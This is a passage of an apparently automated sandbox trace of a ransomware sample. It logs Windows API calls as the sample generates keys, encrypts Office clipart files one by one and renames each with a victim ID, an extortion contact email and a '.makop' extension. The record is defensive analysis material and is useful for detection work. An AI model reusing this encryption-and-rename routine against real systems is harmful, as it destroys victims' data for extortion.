1 [0125.928] CloseHandle (hObject=0xf0) returned 1 [0125.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0125.928] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0125.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.930] GetProcessHeap () returned 0x48a0000 [0125.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.930] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0125.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.934] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.935] GetProcessHeap () returned 0x48a0000 [0125.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.936] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x462e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x462e, lpOverlapped=0x0) returned 1 [0125.940] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4630, dwBufLen=0x4630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4630) returned 1 [0125.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.941] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4630, lpOverlapped=0x0) returned 1 [0125.941] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.941] SetEndOfFile (hFile=0xf0) returned 1 [0125.948] GetProcessHeap () returned 0x48a0000 [0125.948] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.948] GetProcessHeap () returned 0x48a0000 [0125.948] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.948] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.950] CloseHandle (hObject=0xf0) returned 1 [0125.950] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0125.952] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0125.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.954] GetProcessHeap () returned 0x48a0000 [0125.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.954] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0125.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.959] GetProcessHeap () returned 0x48a0000 [0125.959] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.959] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.959] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.960] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.960] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.960] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x72de, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x72de, lpOverlapped=0x0) returned 1 [0125.962] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x72e0, dwBufLen=0x72e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x72e0) returned 1 [0125.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x72e0, lpOverlapped=0x0) returned 1 [0125.963] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x73b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.963] SetEndOfFile (hFile=0xf0) returned 1 [0125.970] GetProcessHeap () returned 0x48a0000 [0125.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.970] GetProcessHeap () returned 0x48a0000 [0125.971] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.971] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.972] CloseHandle (hObject=0xf0) returned 1 [0125.973] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0125.973] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0125.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.974] GetProcessHeap () returned 0x48a0000 [0125.974] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.974] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.974] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.978] GetProcessHeap () returned 0x48a0000 [0125.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.979] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.979] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.980] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.980] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.980] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb594, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb594, lpOverlapped=0x0) returned 1 [0125.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5a0, dwBufLen=0xb5a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5a0) returned 1 [0125.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb5a0, lpOverlapped=0x0) returned 1 [0125.985] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.985] SetEndOfFile (hFile=0xf0) returned 1 [0125.992] GetProcessHeap () returned 0x48a0000 [0125.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.992] GetProcessHeap () returned 0x48a0000 [0125.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.992] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.993] CloseHandle (hObject=0xf0) returned 1 [0125.994] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0125.994] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0125.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.995] GetProcessHeap () returned 0x48a0000 [0125.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.995] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.995] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.995] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0125.999] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.999] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.999] GetProcessHeap () returned 0x48a0000 [0125.999] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.999] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.999] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.000] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.000] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.000] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.001] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x51aa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x51aa, lpOverlapped=0x0) returned 1 [0126.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51b0) returned 1 [0126.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x51b0, lpOverlapped=0x0) returned 1 [0126.006] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.006] SetEndOfFile (hFile=0xf0) returned 1 [0126.013] GetProcessHeap () returned 0x48a0000 [0126.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.013] GetProcessHeap () returned 0x48a0000 [0126.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.013] wsprintfW (in: 